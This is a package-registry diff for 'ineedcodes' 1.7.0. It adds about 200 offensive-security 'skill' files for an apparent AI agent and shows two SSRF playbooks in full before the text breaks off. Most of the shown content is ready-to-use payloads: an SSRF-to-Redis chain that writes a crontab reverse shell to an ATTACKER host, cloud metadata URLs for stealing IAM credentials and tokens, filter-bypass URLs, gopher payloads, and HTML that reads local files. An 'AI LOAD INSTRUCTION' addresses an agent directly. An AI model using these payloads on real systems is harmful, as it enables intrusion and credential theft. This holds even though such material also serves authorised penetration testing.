ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,226 @@
1
+ # SSRF — Extended Scenarios & Real-World Cases
2
+
3
+ > Companion to [SKILL.md](./SKILL.md). Contains additional CVE case studies, advanced bypass techniques, and chaining scenarios.
4
+
5
+ ---
6
+
7
+ ## 1. CVE Case: WebLogic SSRF (CVE-2014-4210)
8
+
9
+ WebLogic's UDDI Explorer component exposes SSRF via the `operator` parameter:
10
+
11
+ ```
12
+ GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
13
+ ```
14
+
15
+ **Exploitation chain — SSRF → Redis → RCE**:
16
+
17
+ ```bash
18
+ # Step 1: Port scan internal network via SSRF
19
+ # Open port: fast response / "could not connect" error
20
+ # Closed port: timeout / different error
21
+
22
+ # Step 2: Hit internal Redis (6379) via SSRF with crafted payload
23
+ operator=http://INTERNAL_REDIS_IP:6379/test%0D%0A%0D%0Aset%201%20%22%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A
24
+
25
+ # URL-decoded: sends Redis commands via CRLF injection in HTTP request
26
+ # Writes crontab reverse shell
27
+ ```
28
+
29
+ ---
30
+
31
+ ## 2. DNS Rebinding — Deep Dive
32
+
33
+ DNS rebinding exploits the gap between DNS resolution and actual request:
34
+
35
+ ```
36
+ Step 1: Victim server resolves attacker.com → gets 1.2.3.4 (legitimate IP)
37
+ Step 2: Server validates: "1.2.3.4 is not internal → allowed"
38
+ Step 3: DNS TTL expires (or attacker uses TTL=0)
39
+ Step 4: Server makes actual request → resolves attacker.com again → gets 169.254.169.254
40
+ Step 5: Request goes to metadata endpoint → SSRF achieved
41
+ ```
42
+
43
+ ### Tools and Services
44
+
45
+ ```text
46
+ # rbndr.us — automatic DNS rebinding service:
47
+ # Responds with IP A first, IP B second
48
+ http://7f000001.a]1b3c4d5.rbndr.us/
49
+ # Returns 127.0.0.1 and 1.2.3.4 alternately
50
+
51
+ # singularity — DNS rebinding attack framework:
52
+ # https://github.com/nccgroup/singularity
53
+
54
+ # Custom NS: set up authoritative DNS with TTL=0 and rotating A records
55
+ ```
56
+
57
+ ### Bypass Scenarios
58
+
59
+ | Defense | DNS Rebinding Bypass |
60
+ |---|---|
61
+ | IP blacklist check at DNS resolution time | TTL=0: resolution returns safe IP → passes check → re-resolve returns internal IP |
62
+ | Single DNS lookup cached | Use race condition: parallel requests, one resolves to external, other to internal |
63
+ | Application pins DNS result | Not all HTTP libraries pin; some re-resolve on redirect |
64
+
65
+ ---
66
+
67
+ ## 3. CVE Case: Kubernetes SSRF (CVE-2020-8555 / CVE-2020-8562)
68
+
69
+ **CVE-2020-8555**: Kubernetes kube-controller-manager's volume handling allows SSRF when creating StorageClass with `glusterfs` or `quobyte` provisioners. The controller makes HTTP requests to attacker-controlled endpoints.
70
+
71
+ **CVE-2020-8562** (bypass of the fix): The fix blocked direct internal IP access but could be bypassed via DNS rebinding — attacker's DNS resolves to external IP during validation, then to internal IP during actual request.
72
+
73
+ ---
74
+
75
+ ## 4. SSRF Through PDF/Screenshot Generators
76
+
77
+ Applications that generate PDFs from HTML or take screenshots of URLs are high-value SSRF targets:
78
+
79
+ ```html
80
+ <!-- If HTML input is rendered to PDF: -->
81
+ <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
82
+ <img src="http://internal-service:8080/admin">
83
+ <link rel="stylesheet" href="http://169.254.169.254/latest/user-data">
84
+ ```
85
+
86
+ **Common tools**: wkhtmltopdf, Chrome headless, Puppeteer, PhantomJS — all follow redirects and may access internal network.
87
+
88
+ ---
89
+
90
+ ## 5. SSRF + Gopher Protocol — Full TCP Injection
91
+
92
+ Gopher protocol allows sending arbitrary TCP data. Combined with SSRF, it enables interaction with any TCP service:
93
+
94
+ ```text
95
+ # SMTP — send email:
96
+ gopher://127.0.0.1:25/_EHLO%20attacker%0D%0AMAIL%20FROM:...
97
+
98
+ # MySQL — execute query (no password):
99
+ gopher://127.0.0.1:3306/_[MYSQL_PACKET]
100
+
101
+ # FastCGI/PHP-FPM — execute PHP:
102
+ gopher://127.0.0.1:9000/_[FASTCGI_PACKET]
103
+
104
+ # Tool: Gopherus generates gopher payloads for various services:
105
+ python3 gopherus.py --exploit mysql
106
+ python3 gopherus.py --exploit fastcgi
107
+ python3 gopherus.py --exploit redis
108
+ ```
109
+
110
+ ---
111
+
112
+ ## 6. Filter Bypass via URL Parser Confusion
113
+
114
+ Different URL parsers disagree on what constitutes "host":
115
+
116
+ ```text
117
+ # These may bypass host validation:
118
+ http://evil.com#@trusted.com/ # Fragment vs authority confusion
119
+ http://trusted.com\@evil.com/ # Backslash as path separator
120
+ http://trusted.com%00@evil.com/ # Null byte truncation
121
+ http://evil.com%23@trusted.com/ # URL-encoded fragment
122
+ http://[::ffff:7f00:1]/ # IPv6-mapped IPv4 localhost
123
+ http://0x7f.0x00.0x00.0x01/ # Hex octets
124
+ http://0177.0.0.1/ # Octal
125
+ ```
126
+
127
+ ---
128
+
129
+ ## 7. EXTENDED CLOUD METADATA ENDPOINTS
130
+
131
+ ### AWS ECS (Container)
132
+
133
+ ```
134
+ http://169.254.170.2/v2/credentials
135
+ # Returns temporary IAM role credentials for the ECS task
136
+ ```
137
+
138
+ ### GCP Detailed Queries
139
+
140
+ ```
141
+ http://metadata.google.internal/computeMetadata/v1/?recursive=true
142
+ # Returns ALL metadata in one request (with Metadata-Flavor: Google header)
143
+ http://metadata.google.internal/computeMetadata/v1beta1/
144
+ # Legacy endpoint — may not require Metadata-Flavor header!
145
+ ```
146
+
147
+ ### Azure Identity Token
148
+
149
+ ```
150
+ http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
151
+ Headers: Metadata: true
152
+ # Returns OAuth2 token for Azure management plane
153
+ ```
154
+
155
+ ### Alibaba Cloud (Aliyun)
156
+
157
+ ```
158
+ http://100.100.100.200/latest/meta-data/
159
+ http://100.100.100.200/latest/meta-data/ram/security-credentials/
160
+ http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
161
+ ```
162
+
163
+ ### Kubernetes
164
+
165
+ ```
166
+ https://kubernetes.default.svc/api/v1/namespaces/default/secrets
167
+ # Service account token at: /var/run/secrets/kubernetes.io/serviceaccount/token
168
+ # CA cert at: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
169
+
170
+ # kubectl proxy (if running):
171
+ http://127.0.0.1:8001/api/v1/namespaces/default/pods
172
+ ```
173
+
174
+ ### IPv6 Metadata Variants
175
+
176
+ ```
177
+ http://[::ffff:169.254.169.254]/latest/meta-data/
178
+ http://[fd00:ec2::254]/latest/meta-data/
179
+ # May bypass IPv4-only filters
180
+ ```
181
+
182
+ ---
183
+
184
+ ## 8. BROWSER-SIDE DNS REBINDING & HEADLESS BROWSER ATTACKS
185
+
186
+ ### DNS Rebinding (Browser-Side)
187
+
188
+ ```
189
+ # Different from server-side SSRF — targets victim's browser:
190
+ # 1. Victim visits attacker.com (DNS resolves to attacker IP)
191
+ # 2. JavaScript makes request to attacker.com (same-origin)
192
+ # 3. DNS TTL expires, re-resolves to 127.0.0.1 or internal IP
193
+ # 4. Browser makes same-origin request → hits internal service
194
+ # 5. Attacker's JS reads the response (same-origin!)
195
+
196
+ # Tools:
197
+ # - Singularity of Origin (nccgroup/singularity)
198
+ # - rbndr.us (simple rebinding service)
199
+
200
+ # Protection bypasses:
201
+ # - 0.0.0.0 resolves to localhost on many systems
202
+ # - CNAME to localhost
203
+ # - localhost CNAME chains
204
+ ```
205
+
206
+ ### Headless Browser / PDF Generator Attacks
207
+
208
+ ```
209
+ # If application uses headless Chrome/Puppeteer/wkhtmltopdf to render user content:
210
+
211
+ # SSRF via HTML:
212
+ <iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
213
+ <img src="http://169.254.169.254/latest/meta-data/">
214
+
215
+ # Local file read:
216
+ <iframe src="file:///etc/passwd"></iframe>
217
+ <script>document.write(new XMLHttpRequest())</script>
218
+
219
+ # If --no-sandbox flag is used → full browser exploit potential
220
+
221
+ # Remote debugging port (Chrome DevTools Protocol):
222
+ # If port 9222 is exposed:
223
+ http://127.0.0.1:9222/json → list debugging targets
224
+ # Connect via WebSocket → full control of browser tabs
225
+ # Read cookies, navigate to arbitrary URLs, execute JS
226
+ ```
@@ -0,0 +1,323 @@
1
+ ---
2
+ name: ssrf-server-side-request-forgery
3
+ description: >-
4
+ SSRF playbook. Use when the server fetches URLs, resolves hostnames, imports remote content, or can be driven toward internal networks, cloud metadata, or secondary protocols.gated: true
5
+ ---
6
+
7
+ # SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion [SCENARIOS.md](./SCENARIOS.md).
10
+
11
+ ## 0. QUICK START
12
+
13
+ ### Extended Scenarios
14
+
15
+ Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
16
+ - WebLogic SSRF (CVE-2014-4210) — `uddiexplorer/SearchPublicRegistries.jsp` + `operator` parameter + `%0D%0A` CRLF to inject Redis commands
17
+ - SSRF → internal Redis → write crontab reverse shell complete payload chain
18
+ - DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution, `rbndr.us` service
19
+ - Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
20
+ - SSRF through PDF/screenshot generators — `<iframe>` and `<img>` in HTML-to-PDF
21
+ - Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
22
+ - URL parser confusion for filter bypass — `#@`, `\@`, `%00@`, IPv6-mapped IPv4
23
+
24
+ ### Advanced Reference
25
+
26
+ Also load [URL_PARSER_TRICKS.md](./URL_PARSER_TRICKS.md) when you need:
27
+ - URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
28
+ - Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
29
+ - gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
30
+ - DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
31
+ - PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques
32
+
33
+ If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.
34
+
35
+ ### First-pass payloads
36
+
37
+ ```text
38
+ http://127.0.0.1/
39
+ http://localhost/
40
+ http://169.254.169.254/latest/meta-data/
41
+ http://[::1]/
42
+ http://127.1/
43
+ ```
44
+
45
+ ### Host validation bypass families
46
+
47
+ | Validation Type | Try |
48
+ |---|---|
49
+ | blocks `localhost` string | `127.0.0.1`, `127.1`, `[::1]` |
50
+ | blocks direct IP only | internal DNS name, decimal/octal/hex IP forms |
51
+ | allowlist by prefix | username part, subdomain confusion, redirect chain |
52
+ | follows redirects | benign external URL redirecting to internal target |
53
+ | parses once, fetches twice | mixed encoding or DNS rebinding style targets |
54
+
55
+ ### Protocol routing
56
+
57
+ | Goal | Protocol / Target |
58
+ |---|---|
59
+ | cloud credentials | metadata HTTP endpoints |
60
+ | internal HTTP admin | `http://127.0.0.1:port/` |
61
+ | Redis / raw TCP style abuse | `gopher://` |
62
+ | local file read candidate | `file://` |
63
+ | dictionary / banner tests | `dict://` |
64
+
65
+ ---
66
+
67
+ ## 1. FINDING SSRF SURFACE
68
+
69
+ Look for **any parameter containing DNS names, IP addresses, or URLs**:
70
+
71
+ ```
72
+ loc= url= path= endpoint=
73
+ imageUrl= dest= redirect= uri=
74
+ callback= load= file= resource=
75
+ link= src= data= ref=
76
+ ```
77
+
78
+ **Less obvious SSRF vectors**:
79
+ - PDF/screenshot generation (URL to capture)
80
+ - Webhook configuration fields
81
+ - Import/export via URL (CSV import, RSS/Atom feeds)
82
+ - OAuth redirect URI (sometimes triggers server-side fetch)
83
+ - `X-Forwarded-Host` / `X-Real-IP` headers in proxy chains
84
+ - XML `DOCTYPE` with external entity (`file://`, `http://`)
85
+ - GraphQL `@link` directive (federation)
86
+ - Content-Type: `text/html` pages parsed for `<link>` preload headers
87
+
88
+ ---
89
+
90
+ ## 2. BASIC CONFIRMATION METHODOLOGY
91
+
92
+ ```
93
+ Step 1: Supply your Burp Collaborator / interact.sh URL
94
+ → Check server initiates outbound connection (full SSRF confirmed)
95
+
96
+ Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
97
+ Compare response time for:
98
+ http://192.168.1.1:22 (likely open → fast)
99
+ http://192.168.1.1:9999 (likely closed → slow/timeout)
100
+
101
+ Step 3: Try accessing localhost services:
102
+ http://127.0.0.1:8080
103
+ http://127.0.0.1:22
104
+ http://127.0.0.1:6379 (Redis)
105
+ http://127.0.0.1:9200 (Elasticsearch)
106
+ http://127.0.0.1:5984 (CouchDB)
107
+ http://127.0.0.1:2375 (Docker daemon — critical!)
108
+ http://127.0.0.1:4840 (internal admin)
109
+ ```
110
+
111
+ ---
112
+
113
+ ## 3. CLOUD METADATA ENDPOINTS — MUST-TRY
114
+
115
+ ### AWS EC2 IMDSv1 (no auth required — critical)
116
+ ```
117
+ http://169.254.169.254/latest/meta-data/
118
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
119
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
120
+ http://169.254.169.254/latest/user-data
121
+ http://169.254.169.254/latest/meta-data/hostname
122
+ http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
123
+ ```
124
+
125
+ ### AWS IMDSv2 (token required — but check if SSRF can GET the token)
126
+ ```
127
+ Step 1: PUT http://169.254.169.254/latest/api/token
128
+ Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
129
+ Step 2: GET http://169.254.169.254/latest/meta-data/
130
+ Header: X-aws-ec2-metadata-token: TOKEN
131
+ ```
132
+ **If SSRF supports custom headers → full IMDSv2 bypass**.
133
+
134
+ ### Google Cloud
135
+ ```
136
+ http://metadata.google.internal/computeMetadata/v1/
137
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
138
+ Headers: Metadata-Flavor: Google
139
+ ```
140
+
141
+ ### Azure
142
+ ```
143
+ http://169.254.169.254/metadata/instance?api-version=2021-02-01
144
+ Headers: Metadata: true
145
+ http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
146
+ ```
147
+
148
+ ### Alibaba Cloud
149
+ ```
150
+ http://100.100.100.200/latest/meta-data/
151
+ http://100.100.100.200/latest/meta-data/ram/security-credentials/
152
+ ```
153
+
154
+ ### Kubernetes Service Account
155
+ ```
156
